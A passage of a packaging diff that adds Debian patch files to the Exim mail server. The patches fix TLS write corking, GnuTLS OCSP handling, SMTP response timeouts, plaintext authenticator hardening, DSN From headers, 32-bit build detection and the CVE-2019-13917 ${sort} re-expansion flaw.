++ ? &((exim_openssl_client_tls_ctx *)ct_ctx)->corked : &server_corked;
++gstring * corked = *corkedp;
+
+ DEBUG(D_tls) debug_printf("%s(%p, %lu%s)\n", __FUNCTION__,
+ buff, (unsigned long)len, more ? ", more" : "");
+
+ /* Lacking a CORK or MSG_MORE facility (such as GnuTLS has) we copy data when
+ "more" is notified. This hack is only ok if small amounts are involved AND only
+ one stream does it, in one context (i.e. no store reset). Currently it is used
+-for the responses to the received SMTP MAIL , RCPT, DATA sequence, only. */
+-/*XXX + if PIPE_COMMAND, banner & ehlo-resp for smmtp-on-connect. Suspect there's
+-a store reset there. */
++for the responses to the received SMTP MAIL , RCPT, DATA sequence, only.
++We support callouts done by the server process by using a separate client
++context for the stashed information. */
++/* + if PIPE_COMMAND, banner & ehlo-resp for smmtp-on-connect. Suspect there's
++a store reset there, so use POOL_PERM. */
++/* + if CHUNKING, cmds EHLO,MAIL,RCPT(s),BDAT */
+
+ if (!ct_ctx && (more || corked))
+ {
+ #ifdef EXPERIMENTAL_PIPE_CONNECT
+ int save_pool = store_pool;
+@@ -2933,14 +2942,17 @@ if (!ct_ctx && (more || corked))
+ #ifdef EXPERIMENTAL_PIPE_CONNECT
+ store_pool = save_pool;
+ #endif
+
+ if (more)
++ {
++ *corkedp = corked;
+ return len;
++ }
+ buff = CUS corked->s;
+ len = corked->ptr;
+- corked = NULL;
++ *corkedp = NULL;
+ }
+
+ for (left = len; left > 0;)
+ {
+ DEBUG(D_tls) debug_printf("SSL_write(%p, %p, %d)\n", ssl, buff, left);
+diff --git a/test/confs/2152 b/test/confs/2152
+new file mode 100644
+index 00000000..f783192b
+diff --git a/test/log/2152 b/test/log/2152
+new file mode 100644
+index 00000000..720200be
+--
+2.20.1
+
diff --git a/debian/patches/75_10-Harden-plaintext-authenticator.patch b/debian/patches/75_10-Harden-plaintext-authenticator.patch
new file mode 100644
index 0000000..9dcfd47
--- /dev/null
+++ b/debian/patches/75_10-Harden-plaintext-authenticator.patch
@@ -0,0 +1,55 @@
+From e5b942ae007d0533fbd599c64d550f3a8355b940 Mon Sep 17 00:00:00 2001
+From: Jeremy Harris <jgh146exb@wizmail.org>
+Date: Thu, 21 Mar 2019 20:01:03 +0000
+Subject: [PATCH] Harden plaintext authenticator
+
+Cherry-picked from: f9fc942757
+---
+ doc/ChangeLog | 5 +++++
+ src/auths/plaintext.c | 6 +-----
+ 2 files changed, 6 insertions(+), 5 deletions(-)
+
+diff --git a/doc/ChangeLog b/doc/ChangeLog
+index 3d63725f..c34e60d1 100644
+--- a/doc/ChangeLog
++++ b/doc/ChangeLog
+@@ -32,10 +32,15 @@ JH/10 OpenSSL: Fix aggregation of messages. Previously, when PIPELINING was
+ used both for input and for a verify callout, both encrypted, SMTP
+ responses being sent by the server could be lost. This resulted in
+ dropped connections and sometimes bounces generated by a peer sending
+ to this system.
+
++JH/11 Harden plaintext authenticator against a badly misconfigured client-send
++ string. Previously it was possible to cause undefined behaviour in a
++ library routine (usually a crash). Found by "zerons".
++
++
+
+ Exim version 4.92
+ -----------------
+
+ JH/01 Remove code calling the customisable local_scan function, unless a new
+diff --git a/src/auths/plaintext.c b/src/auths/plaintext.c
+index 7a0f7885..fa05b0ad 100644
+--- a/src/auths/plaintext.c
++++ b/src/auths/plaintext.c
+@@ -221,15 +221,11 @@ while ((s = string_nextinlist(&text, &sep, big_buffer, big_buffer_size)))
+ for (i = 0; i < len; i++)
+ if (ss[i] == '^')
+ if (ss[i+1] != '^')
+ ss[i] = 0;
+ else
+- {
+- i++;
+- len--;
+- memmove(ss + i, ss + i + 1, len - i);
+- }
++ if (--len > ++i) memmove(ss + i, ss + i + 1, len - i);
+
+ /* The first string is attached to the AUTH command; others are sent
+ unembellished. */
+
+ if (first)
+--
+2.20.1
+
diff --git a/debian/patches/75_11-GnuTLS-fix-tls_out_ocsp-under-hosts_request_ocsp.patch b/debian/patches/75_11-GnuTLS-fix-tls_out_ocsp-under-hosts_request_ocsp.patch
new file mode 100644
index 0000000..8322d93
--- /dev/null
+++ b/debian/patches/75_11-GnuTLS-fix-tls_out_ocsp-under-hosts_request_ocsp.patch
@@ -0,0 +1,54 @@
+From 5e64b73ef7cdaf20b998b3345a588b462fd30bfb Mon Sep 17 00:00:00 2001
+From: Jeremy Harris <jgh146exb@wizmail.org>
+Date: Tue, 7 May 2019 22:55:41 +0100
+Subject: [PATCH] GnuTLS: fix $tls_out_ocsp under hosts_request_ocsp
+
+(cherry picked from commit 7a501c874f028f689c44999ab05bb0d39da46941)
+---
+ doc/ChangeLog | 3 +++
+ src/tls-gnu.c | 12 ++++++++----
+ test/log/5651 | 2 +-
+ test/log/5730 | 8 ++++----
+ 4 files changed, 16 insertions(+), 9 deletions(-)
+
+--- a/doc/ChangeLog
++++ b/doc/ChangeLog
+@@ -39,6 +39,9 @@ JH/11 Harden plaintext authenticator aga
+ library routine (usually a crash). Found by "zerons".
+
+
++JH/18 GnuTLS: fix $tls_out_ocsp under hosts_request_ocsp. Previously the
++ verification result was not updated unless hosts_require_ocsp applied.
++
+
+ Exim version 4.92
+ -----------------
+--- a/src/tls-gnu.c
++++ b/src/tls-gnu.c
+@@ -2450,7 +2450,7 @@ if (!verify_certificate(state, errstr))
+ }
+
+ #ifndef DISABLE_OCSP
+-if (require_ocsp)
++if (request_ocsp)
+ {
+ DEBUG(D_tls)
+ {
+@@ -2474,10 +2474,14 @@ if (require_ocsp)
+ {
+ tlsp->ocsp = OCSP_FAILED;
+ tls_error(US"certificate status check failed", NULL, state->host, errstr);
+- return NULL;
++ if (require_ocsp)
++ return FALSE;
++ }
++ else
++ {
++ DEBUG(D_tls) debug_printf("Passed OCSP checking\n");
++ tlsp->ocsp = OCSP_VFIED;
+ }
+- DEBUG(D_tls) debug_printf("Passed OCSP checking\n");
+- tlsp->ocsp = OCSP_VFIED;
+ }
+ #endif
+
diff --git a/debian/patches/75_12-GnuTLS-fix-the-advertising-of-acceptable-certs-by-th.patch b/debian/patches/75_12-GnuTLS-fix-the-advertising-of-acceptable-certs-by-th.patch
new file mode 100644
index 0000000..5b98faa
--- /dev/null
+++ b/debian/patches/75_12-GnuTLS-fix-the-advertising-of-acceptable-certs-by-th.patch
@@ -0,0 +1,42 @@
+From 44893ba5249c6c6d5a0d62a1cc57ba3fbf7185b4 Mon Sep 17 00:00:00 2001
+From: Jeremy Harris <jgh146exb@wizmail.org>
+Date: Sun, 19 May 2019 12:12:36 +0100
+Subject: [PATCH 1/2] GnuTLS: fix the advertising of acceptable certs by the
+ server. Bug 2389
+
+(cherry picked from commit 12d95aa62042377fc9f603245a17a43142972447)
+---
+ doc/ChangeLog | 4 ++++
+ src/tls-gnu.c | 8 ++++++++
+ 2 files changed, 12 insertions(+)
+
+--- a/doc/ChangeLog
++++ b/doc/ChangeLog
+@@ -42,6 +42,10 @@ JH/11 Harden plaintext authenticator aga
+ JH/18 GnuTLS: fix $tls_out_ocsp under hosts_request_ocsp. Previously the
+ verification result was not updated unless hosts_require_ocsp applied.
+
++JH/20 Bug 2389: fix server advertising of usable certificates, under GnuTLS in
++ directory-of-certs mode. Previously they were advertised despite the
++ documentation.
++
+
+ Exim version 4.92
+ -----------------
+--- a/src/tls-gnu.c
++++ b/src/tls-gnu.c
+@@ -1133,6 +1133,14 @@ else
+ #endif
+ gnutls_certificate_set_x509_trust_file(state->x509_cred,
+ CS state->exp_tls_verify_certificates, GNUTLS_X509_FMT_PEM);
++
++#ifdef SUPPORT_CA_DIR
++ /* Mimic the behaviour with OpenSSL of not advertising a usable-cert list
++ when using the directory-of-certs config model. */
++
++ if ((statbuf.st_mode & S_IFMT) == S_IFDIR)
++ gnutls_certificate_send_x509_rdn_sequence(state->session, 1);
++#endif
+ }
+
+ if (cert_count < 0)
diff --git a/debian/patches/75_13-Use-dsn_from-for-success-DSN-messages.-Bug-2404.patch b/debian/patches/75_13-Use-dsn_from-for-success-DSN-messages.-Bug-2404.patch
new file mode 100644
index 0000000..0eb4d4b
--- /dev/null
+++ b/debian/patches/75_13-Use-dsn_from-for-success-DSN-messages.-Bug-2404.patch
@@ -0,0 +1,52 @@
+From 454bab46ae6812e29652d10c390451c962a6f806 Mon Sep 17 00:00:00 2001
+From: Jeremy Harris <jgh146exb@wizmail.org>
+Date: Tue, 4 Jun 2019 18:13:21 +0100
+Subject: [PATCH 2/2] Use dsn_from for success-DSN messages. Bug 2404
+
+(cherry picked from commit 87abcb247b4444bab5fd0bcb212ddb26d5fd9191)
+---
+ doc/ChangeLog | 4 ++++
+ src/deliver.c | 4 ++--
+ 2 files changed, 6 insertions(+), 2 deletions(-)
+
+diff --git a/doc/ChangeLog b/doc/ChangeLog
+index 5a3e453d..1a12c014 100644
+--- a/doc/ChangeLog
++++ b/doc/ChangeLog
+@@ -65,6 +65,10 @@ JH/20 Bug 2389: fix server advertising of usable certificates, under GnuTLS in
+ directory-of-certs mode. Previously they were advertised despite the
+ documentation.
+
++JH/27 Bug 2404: Use the main-section configuration option "dsn_from" for
++ success-DSN messages. Previously the From: header was always the default
++ one for these; the option was ignored.
++
+
+ Exim version 4.92
+ -----------------
+diff --git a/src/deliver.c b/src/deliver.c
+index e1799411..4720f596 100644
+--- a/src/deliver.c
++++ b/src/deliver.c
+@@ -7365,8 +7365,8 @@ if (addr_senddsn)
+ if (errors_reply_to)
+ fprintf(f, "Reply-To: %s\n", errors_reply_to);
+
++ moan_write_from(f);
+ fprintf(f, "Auto-Submitted: auto-generated\n"
+- "From: Mail Delivery System <Mailer-Daemon@%s>\n"
+ "To: %s\n"
+ "Subject: Delivery Status Notification\n"
+ "Content-Type: multipart/report; report-type=delivery-status; boundary=%s\n"
+@@ -7377,7 +7377,7 @@ if (addr_senddsn)
+
+ "This message was created automatically by mail delivery software.\n"
+ " ----- The following addresses had successful delivery notifications -----\n",
+- qualify_domain_sender, sender_address, bound, bound);
++ sender_address, bound, bound);
+
+ for (addr_dsntmp = addr_senddsn; addr_dsntmp;
+ addr_dsntmp = addr_dsntmp->next)
+--
+2.20.1
+
diff --git a/debian/patches/75_14-Fix-smtp-response-timeout.patch b/debian/patches/75_14-Fix-smtp-response-timeout.patch
new file mode 100644
index 0000000..abf2da4
--- /dev/null
+++ b/debian/patches/75_14-Fix-smtp-response-timeout.patch
@@ -0,0 +1,325 @@
+From 0a5441fcd93ae4145c07b3ed138dfe0e107174e0 Mon Sep 17 00:00:00 2001
+From: Jeremy Harris <jgh146exb@wizmail.org>
+Date: Mon, 27 May 2019 23:44:31 +0100
+Subject: [PATCH 1/2] Fix smtp response timeout
+
+---
+ doc/ChangeLog | 6 ++++++
+ src/functions.h | 4 ++--
+ src/ip.c | 16 +++++++---------
+ src/malware.c | 26 +++++++++++++-------------
+ src/routers/iplookup.c | 2 +-
+ src/smtp_out.c | 9 +++++----
+ src/spam.c | 2 +-
+ src/transports/smtp_socks.c | 6 +++---
+ src/verify.c | 2 +-
+ 9 files changed, 39 insertions(+), 34 deletions(-)
+
+--- a/doc/ChangeLog
++++ b/doc/ChangeLog
+@@ -50,6 +50,13 @@ JH/27 Bug 2404: Use the main-section con
+ success-DSN messages. Previously the From: header was always the default
+ one for these; the option was ignored.
+
++JH/28 Fix the timeout on smtp response to apply to the whole response.
++ Previously it was reset for every read, so a teergrubing peer sending
++ single bytes within the time limit could extend the connection for a
++ long time. Credit to Qualsys Security Advisory Team for the discovery.
++[from GIT master]
++
++
+
+ Exim version 4.92
+ -----------------
+--- a/src/functions.h
++++ b/src/functions.h
+@@ -225,7 +225,7 @@ extern uschar *expand_string_copy(const
+ extern int_eximarith_t expand_string_integer(uschar *, BOOL);
+ extern void modify_variable(uschar *, void *);
+
+-extern BOOL fd_ready(int, int);
++extern BOOL fd_ready(int, time_t);
+
+ extern int filter_interpret(uschar *, int, address_item **, uschar **);
+ extern BOOL filter_personal(string_item *, BOOL);
+@@ -271,7 +271,7 @@ extern int ip_connectedsocket(int, c
+ int, host_item *, uschar **, const blob *);
+ extern int ip_get_address_family(int);
+ extern void ip_keepalive(int, const uschar *, BOOL);
+-extern int ip_recv(client_conn_ctx *, uschar *, int, int);
++extern int ip_recv(client_conn_ctx *, uschar *, int, time_t);
+ extern int ip_socket(int, int);
+
+ extern int ip_tcpsocket(const uschar *, uschar **, int);
+--- a/src/ip.c
++++ b/src/ip.c
+@@ -566,16 +566,15 @@ if (setsockopt(sock, SOL_SOCKET, SO_KEEP
+ /*
+ Arguments:
+ fd the file descriptor
+- timeout the timeout, seconds
++ timelimit the timeout endpoint, seconds-since-epoch
+ Returns: TRUE => ready for i/o
+ FALSE => timed out, or other error
+ */
+ BOOL
+-fd_ready(int fd, int timeout)
++fd_ready(int fd, time_t timelimit)
+ {
+ fd_set select_inset;
+-time_t start_recv = time(NULL);
+-int time_left = timeout;
++int time_left = timelimit - time(NULL);
+ int rc;
+
+ if (time_left <= 0)
+@@ -609,8 +608,7 @@ do
+ DEBUG(D_transport) debug_printf("EINTR while waiting for socket data\n");
+
+ /* Watch out, 'continue' jumps to the condition, not to the loops top */
+- time_left = timeout - (time(NULL) - start_recv);
+- if (time_left > 0) continue;
++ if ((time_left = timelimit - time(NULL)) > 0) continue;
+ }
+
+ if (rc <= 0)
+@@ -634,18 +632,18 @@ Arguments:
+ cctx the connection context (socket fd, possibly TLS context)
+ buffer to read into
+ bufsize the buffer size
+- timeout the timeout
++ timelimit the timeout endpoint, seconds-since-epoch
+
+ Returns: > 0 => that much data read
+ <= 0 on error or EOF; errno set - zero for EOF
+ */
+
+ int
+-ip_recv(client_conn_ctx * cctx, uschar * buffer, int buffsize, int timeout)
++ip_recv(client_conn_ctx * cctx, uschar * buffer, int buffsize, time_t timelimit)
+ {
+ int rc;
+
+-if (!fd_ready(cctx->sock, timeout))
++if (!fd_ready(cctx->sock, timelimit))
+ return -1;
+
+ /* The socket is ready, read from it (via TLS if it's active). On EOF (i.e.
+--- a/src/malware.c
++++ b/src/malware.c
+@@ -349,13 +349,13 @@ return cre;
+ -2 on timeout or error
+ */
+ static int
+-recv_line(int fd, uschar * buffer, int bsize, int tmo)
++recv_line(int fd, uschar * buffer, int bsize, time_t tmo)
+ {
+ uschar * p = buffer;
+ ssize_t rcv;
+ BOOL ok = FALSE;
+
+-if (!fd_ready(fd, tmo-time(NULL)))
++if (!fd_ready(fd, tmo))
+ return -2;
+
+ /*XXX tmo handling assumes we always get a whole line */
+@@ -382,9 +382,9 @@ return p - buffer;
+
+ /* return TRUE iff size as requested */
+ static BOOL
+-recv_len(int sock, void * buf, int size, int tmo)
++recv_len(int sock, void * buf, int size, time_t tmo)
+ {
+-return fd_ready(sock, tmo-time(NULL))
++return fd_ready(sock, tmo)
+ ? recv(sock, buf, size, 0) == size
+ : FALSE;
+ }
+@@ -430,7 +430,7 @@ for (;;)
+ }
+
+ static inline int
+-mksd_read_lines (int sock, uschar *av_buffer, int av_buffer_size, int tmo)
++mksd_read_lines (int sock, uschar *av_buffer, int av_buffer_size, time_t tmo)
+ {
+ client_conn_ctx cctx = {.sock = sock};
+ int offset = 0;
+@@ -438,7 +438,7 @@ int i;
+
+ do
+ {
+- i = ip_recv(&cctx, av_buffer+offset, av_buffer_size-offset, tmo-time(NULL));
++ i = ip_recv(&cctx, av_buffer+offset, av_buffer_size-offset, tmo);
+ if (i <= 0)
+ {
+ (void) malware_panic_defer(US"unable to read from mksd UNIX socket (/var/run/mksd/socket)");
+@@ -497,7 +497,7 @@ switch (*line)
+
+ static int
+ mksd_scan_packed(struct scan * scanent, int sock, const uschar * scan_filename,
+- int tmo)
++ time_t tmo)
+ {
+ struct iovec iov[3];
+ const char *cmd = "MSQ\n";
+@@ -746,7 +746,7 @@ if (!malware_ok)
+ if (m_sock_send(malware_daemon_ctx.sock, scanrequest, Ustrlen(scanrequest), &errstr) < 0)
+ return m_panic_defer(scanent, CUS callout_address, errstr);
+
+- bread = ip_recv(&malware_daemon_ctx, av_buffer, sizeof(av_buffer), tmo-time(NULL));
++ bread = ip_recv(&malware_daemon_ctx, av_buffer, sizeof(av_buffer), tmo);
+
+ if (bread <= 0)
+ return m_panic_defer_3(scanent, CUS callout_address,
+@@ -1064,7 +1064,7 @@ badseek: err = errno;
+ if (m_sock_send(malware_daemon_ctx.sock, cmdopt[i], Ustrlen(cmdopt[i]), &errstr) < 0)
+ return m_panic_defer(scanent, CUS callout_address, errstr);
+
+- bread = ip_recv(&malware_daemon_ctx, av_buffer, sizeof(av_buffer), tmo-time(NULL));
++ bread = ip_recv(&malware_daemon_ctx, av_buffer, sizeof(av_buffer), tmo);
+ if (bread > 0) av_buffer[bread]='\0';
+ if (bread < 0)
+ return m_panic_defer_3(scanent, CUS callout_address,
+@@ -1096,7 +1096,7 @@ badseek: err = errno;
+ {
+ errno = ETIMEDOUT;
+ i = av_buffer+sizeof(av_buffer)-p;
+- if ((bread= ip_recv(&malware_daemon_ctx, p, i-1, tmo-time(NULL))) < 0)
++ if ((bread= ip_recv(&malware_daemon_ctx, p, i-1, tmo)) < 0)
+ return m_panic_defer_3(scanent, CUS callout_address,
+ string_sprintf("unable to read result (%s)", strerror(errno)),
+ malware_daemon_ctx.sock);
+@@ -1401,7 +1401,7 @@ badseek: err = errno;
+
+ /* wait for result */
+ memset(av_buffer, 0, sizeof(av_buffer));
+- if ((bread = ip_recv(&malware_daemon_ctx, av_buffer, sizeof(av_buffer), tmo-time(NULL))) <= 0)
++ if ((bread = ip_recv(&malware_daemon_ctx, av_buffer, sizeof(av_buffer), tmo)) <= 0)
+ return m_panic_defer_3(scanent, CUS callout_address,
+ string_sprintf("unable to read from UNIX socket (%s)", scanner_options),
+ malware_daemon_ctx.sock);
+@@ -1737,7 +1737,7 @@ b_seek: err = errno;
+
+ /* Read the result */
+ memset(av_buffer, 0, sizeof(av_buffer));
+- bread = ip_recv(&malware_daemon_ctx, av_buffer, sizeof(av_buffer), tmo-time(NULL));
++ bread = ip_recv(&malware_daemon_ctx, av_buffer, sizeof(av_buffer), tmo);
+ (void)close(malware_daemon_ctx.sock);
+ malware_daemon_ctx.sock = -1;
+ malware_daemon_ctx.tls_ctx = NULL;
+@@ -1895,7 +1895,7 @@ b_seek: err = errno;
+ return m_panic_defer(scanent, CUS callout_address, errstr);
+
+ /* Read the result */
+- bread = ip_recv(&malware_daemon_ctx, av_buffer, sizeof(av_buffer), tmo-time(NULL));
++ bread = ip_recv(&malware_daemon_ctx, av_buffer, sizeof(av_buffer), tmo);
+
+ if (bread <= 0)
+ return m_panic_defer_3(scanent, CUS callout_address,
+--- a/src/routers/iplookup.c
++++ b/src/routers/iplookup.c
+@@ -279,7 +279,7 @@ while ((hostname = string_nextinlist(&li
+ /* Read the response and close the socket. If the read fails, try the
+ next IP address. */
+
+- count = ip_recv(&query_cctx, reply, sizeof(reply) - 1, ob->timeout);
++ count = ip_recv(&query_cctx, reply, sizeof(reply) - 1, time(NULL) + ob->timeout);
+ (void)close(query_cctx.sock);
+ if (count <= 0)
+ {
+--- a/src/smtp_out.c
++++ b/src/smtp_out.c
+@@ -587,14 +587,14 @@ Arguments:
+ inblock the SMTP input block (contains holding buffer, socket, etc.)
+ buffer where to put the line
+ size space available for the line
+- timeout the timeout to use when reading a packet
++ timelimit deadline for reading the lime, seconds past epoch
+
+ Returns: length of a line that has been put in the buffer
+ -1 otherwise, with errno set
+ */
+
+ static int
+-read_response_line(smtp_inblock *inblock, uschar *buffer, int size, int timeout)
++read_response_line(smtp_inblock *inblock, uschar *buffer, int size, time_t timelimit)
+ {
+ uschar *p = buffer;
+ uschar *ptr = inblock->ptr;
+@@ -637,7 +637,7 @@ for (;;)
+
+ /* Need to read a new input packet. */
+
+- if((rc = ip_recv(cctx, inblock->buffer, inblock->buffersize, timeout)) <= 0)
++ if((rc = ip_recv(cctx, inblock->buffer, inblock->buffersize, timelimit)) <= 0)
+ {
+ DEBUG(D_deliver|D_transport|D_acl)
+ debug_printf_indent(errno ? " SMTP(%s)<<\n" : " SMTP(closed)<<\n",
+@@ -694,6 +694,7 @@ smtp_read_response(void * sx0, uschar *
+ smtp_context * sx = sx0;
+ uschar * ptr = buffer;
+ int count = 0, rc;
++time_t timelimit = time(NULL) + timeout;
+
+ errno = 0; /* Ensure errno starts out zero */
+
+@@ -713,7 +714,7 @@ response. */
+
+ for (;;)
+ {
+- if ((count = read_response_line(&sx->inblock, ptr, size, timeout)) < 0)
++ if ((count = read_response_line(&sx->inblock, ptr, size, timelimit)) < 0)
+ return FALSE;
+
+ HDEBUG(D_transport|D_acl|D_v)
+--- a/src/spam.c
++++ b/src/spam.c
+@@ -503,7 +503,7 @@ offset = 0;
+ while ((i = ip_recv(&spamd_cctx,
+ spamd_buffer + offset,
+ sizeof(spamd_buffer) - offset - 1,
+- sd->timeout - time(NULL) + start)) > 0)
++ sd->timeout + start)) > 0)
+ offset += i;
+ spamd_buffer[offset] = '\0'; /* guard byte */
+
+--- a/src/transports/smtp_socks.c
++++ b/src/transports/smtp_socks.c
+@@ -129,7 +129,7 @@ switch(method)
+ #ifdef TCP_QUICKACK
+ (void) setsockopt(fd, IPPROTO_TCP, TCP_QUICKACK, US &off, sizeof(off));
+ #endif
+- if (!fd_ready(fd, tmo-time(NULL)) || read(fd, s, 2) != 2)
++ if (!fd_ready(fd, tmo) || read(fd, s, 2) != 2)
+ return FAIL;
+ HDEBUG(D_transport|D_acl|D_v)
+ debug_printf_indent(" SOCKS<< %02x %02x\n", s[0], s[1]);
+@@ -320,7 +320,7 @@ HDEBUG(D_transport|D_acl|D_v) debug_prin
+ (void) setsockopt(fd, IPPROTO_TCP, TCP_QUICKACK, US &off, sizeof(off));
+ #endif
+
+-if ( !fd_ready(fd, tmo-time(NULL))
++if ( !fd_ready(fd, tmo)
+ || read(fd, buf, 2) != 2
+ )
+ goto rcv_err;
+@@ -370,7 +370,7 @@ if (send(fd, buf, size, 0) < 0)
+ /* expect conn-reply (success, local(ipver, addr, port))
+ of same length as conn-request, or non-success fail code */
+
+-if ( !fd_ready(fd, tmo-time(NULL))
++if ( !fd_ready(fd, tmo)
+ || (size = read(fd, buf, size)) < 2
+ )
+ goto rcv_err;
+--- a/src/verify.c
++++ b/src/verify.c
+@@ -2770,7 +2770,7 @@ for (;;)
+ int size = sizeof(buffer) - (p - buffer);
+
+ if (size <= 0) goto END_OFF; /* Buffer filled without seeing \n. */
+- count = ip_recv(&ident_conn_ctx, p, size, rfc1413_query_timeout);
++ count = ip_recv(&ident_conn_ctx, p, size, time(NULL) + rfc1413_query_timeout);
+ if (count <= 0) goto END_OFF; /* Read error or EOF */
+
+ /* Scan what we just read, to see if we have reached the terminating \r\n. Be
diff --git a/debian/patches/75_15-Fix-detection-of-32b-platform-at-build-time.-Bug-240.patch b/debian/patches/75_15-Fix-detection-of-32b-platform-at-build-time.-Bug-240.patch
new file mode 100644
index 0000000..039ed5f
--- /dev/null
+++ b/debian/patches/75_15-Fix-detection-of-32b-platform-at-build-time.-Bug-240.patch
@@ -0,0 +1,48 @@
+From 26dd3aa007b3b77969610c031f59388e0953bd00 Mon Sep 17 00:00:00 2001
+From: Jeremy Harris <jgh146exb@wizmail.org>
+Date: Fri, 7 Jun 2019 11:54:10 +0100
+Subject: [PATCH 2/2] Fix detection of 32b platform at build time. Bug 2405
+
+---
+ src/buildconfig.c | 12 +++---
+ test/scripts/0000-Basic/0002 | 72 +++++++++++++++++++-----------------
+ test/stdout/0002 | 72 +++++++++++++++++++-----------------
+ 3 files changed, 83 insertions(+), 73 deletions(-)
+
+diff --git a/src/buildconfig.c b/src/buildconfig.c
+index 71cf97b1..a680b344 100644
+--- a/src/buildconfig.c
++++ b/src/buildconfig.c
+@@ -111,6 +111,7 @@ unsigned long test_ulong_t = 0L;
+ unsigned int test_uint_t = 0;
+ #endif
+ long test_long_t = 0;
++long long test_longlong_t = 0;
+ int test_int_t = 0;
+ FILE *base;
+ FILE *new;
+@@ -155,15 +156,16 @@ This assumption is known to be OK for the common operating systems. */
+
+ fprintf(new, "#ifndef OFF_T_FMT\n");
+ if (sizeof(test_off_t) > sizeof(test_long_t))
+- {
+ fprintf(new, "# define OFF_T_FMT \"%%lld\"\n");
+- fprintf(new, "# define LONGLONG_T long long int\n");
+- }
+ else
+- {
+ fprintf(new, "# define OFF_T_FMT \"%%ld\"\n");
++fprintf(new, "#endif\n\n");
++
++fprintf(new, "#ifndef LONGLONG_T\n");
++if (sizeof(test_longlong_t) > sizeof(test_long_t))
++ fprintf(new, "# define LONGLONG_T long long int\n");
++else
+ fprintf(new, "# define LONGLONG_T long int\n");
+- }
+ fprintf(new, "#endif\n\n");
+
+ /* Now do the same thing for time_t variables. If the length is greater than
+--
+2.20.1
+
diff --git a/debian/patches/77_Avoid-re-expansion-in-sort-CVE-2019-13917-OVE-201907.patch b/debian/patches/77_Avoid-re-expansion-in-sort-CVE-2019-13917-OVE-201907.patch
new file mode 100644
index 0000000..50c63ed
--- /dev/null
+++ b/debian/patches/77_Avoid-re-expansion-in-sort-CVE-2019-13917-OVE-201907.patch
@@ -0,0 +1,394 @@
+From cf84d126bc1f04746eb7c8e8b3468f7e70add3ec Mon Sep 17 00:00:00 2001
+From: Jeremy Harris <jgh146exb@wizmail.org>
+Date: Fri, 5 Jul 2019 15:38:15 +0100
+Subject: [PATCH] Avoid re-expansion in ${sort } CVE-2019-13917
+ OVE-20190718-0006
+
+(cherry picked from commit 5c887f836e4d8e3f79da1c15565b56b40d9bd0dd)
+---
+ doc/ChangeLog | 6 ++
+ doc/doc-txt/cve-2019-13917 | 46 ++++++++
+ src/expand.c | 214 +++++++++++++++++++++++++------------
+ 3 files changed, 199 insertions(+), 67 deletions(-)
+ create mode 100644 doc/doc-txt/cve-2019-13917
+
+--- a/src/expand.c
++++ b/src/expand.c
+@@ -2147,6 +2147,55 @@ return ret;
+
+
+
++/************************************************/
++/* Return offset in ops table, or -1 if not found.
++Repoint to just after the operator in the string.
++
++Argument:
++ ss string representation of operator
++ opname split-out operator name
++*/
++
++static int
++identify_operator(const uschar ** ss, uschar ** opname)
++{
++const uschar * s = *ss;
++uschar name[256];
++
++/* Numeric comparisons are symbolic */
++
++if (*s == '=' || *s == '>' || *s == '<')
++ {
++ int p = 0;
++ name[p++] = *s++;
++ if (*s == '=')
++ {
++ name[p++] = '=';
++ s++;
++ }
++ name[p] = 0;
++ }
++
++/* All other conditions are named */
++
++else
++ s = read_name(name, sizeof(name), s, US"_");
++*ss = s;
++
++/* If we haven't read a name, it means some non-alpha character is first. */
++
++if (!name[0])
++ {
++ expand_string_message = string_sprintf("condition name expected, "
++ "but found \"%.16s\"", s);
++ return -1;
++ }
++if (opname)
++ *opname = string_copy(name);
++
++return chop_match(name, cond_table, nelem(cond_table));
++}
++
+
+ /*************************************************
+ * Read and evaluate a condition *
+@@ -2177,6 +2226,7 @@ BOOL sub2_honour_dollar = TRUE;
+ int i, rc, cond_type, roffset;
+ int_eximarith_t num[2];
+ struct stat statbuf;
++uschar * opname;
+ uschar name[256];
+ const uschar *sub[10];
+
+@@ -2189,37 +2239,7 @@ for (;;)
+ if (*s == '!') { testfor = !testfor; s++; } else break;
+ }
+
+-/* Numeric comparisons are symbolic */
+-
+-if (*s == '=' || *s == '>' || *s == '<')
+- {
+- int p = 0;
+- name[p++] = *s++;
+- if (*s == '=')
+- {
+- name[p++] = '=';
+- s++;
+- }
+- name[p] = 0;
+- }
+-
+-/* All other conditions are named */
+-
+-else s = read_name(name, 256, s, US"_");
+-
+-/* If we haven't read a name, it means some non-alpha character is first. */
+-
+-if (name[0] == 0)
+- {
+- expand_string_message = string_sprintf("condition name expected, "
+- "but found \"%.16s\"", s);
+- return NULL;
+- }
+-
+-/* Find which condition we are dealing with, and switch on it */
+-
+-cond_type = chop_match(name, cond_table, nelem(cond_table));
+-switch(cond_type)
++switch(cond_type = identify_operator(&s, &opname))
+ {
+ /* def: tests for a non-empty variable, or for the existence of a header. If
+ yield == NULL we are in a skipping state, and don't care about the answer. */
+@@ -2538,7 +2558,7 @@ switch(cond_type)
+ {
+ if (i == 0) goto COND_FAILED_CURLY_START;
+ expand_string_message = string_sprintf("missing 2nd string in {} "
+- "after \"%s\"", name);
++ "after \"%s\"", opname);
+ return NULL;
+ }
+ if (!(sub[i] = expand_string_internal(s+1, TRUE, &s, yield == NULL,
+@@ -2553,7 +2573,7 @@ switch(cond_type)
+ conditions that compare numbers do not start with a letter. This just saves
+ checking for them individually. */
+
+- if (!isalpha(name[0]) && yield != NULL)
++ if (!isalpha(opname[0]) && yield != NULL)
+ if (sub[i][0] == 0)
+ {
+ num[i] = 0;
+@@ -2867,7 +2887,7 @@ switch(cond_type)
+ uschar *save_iterate_item = iterate_item;
+ int (*compare)(const uschar *, const uschar *);
+
+- DEBUG(D_expand) debug_printf_indent("condition: %s item: %s\n", name, sub[0]);
++ DEBUG(D_expand) debug_printf_indent("condition: %s item: %s\n", opname, sub[0]);
+
+ tempcond = FALSE;
+ compare = cond_type == ECOND_INLISTI
+@@ -2909,14 +2929,14 @@ switch(cond_type)
+ if (*s != '{') /* }-for-text-editors */
+ {
+ expand_string_message = string_sprintf("each subcondition "
+- "inside an \"%s{...}\" condition must be in its own {}", name);
++ "inside an \"%s{...}\" condition must be in its own {}", opname);
+ return NULL;
+ }
+
+ if (!(s = eval_condition(s+1, resetok, subcondptr)))
+ {
+ expand_string_message = string_sprintf("%s inside \"%s{...}\" condition",
+- expand_string_message, name);
++ expand_string_message, opname);
+ return NULL;
+ }
+ while (isspace(*s)) s++;
+@@ -2926,7 +2946,7 @@ switch(cond_type)
+ {
+ /* {-for-text-editors */
+ expand_string_message = string_sprintf("missing } at end of condition "
+- "inside \"%s\" group", name);
++ "inside \"%s\" group", opname);
+ return NULL;
+ }
+
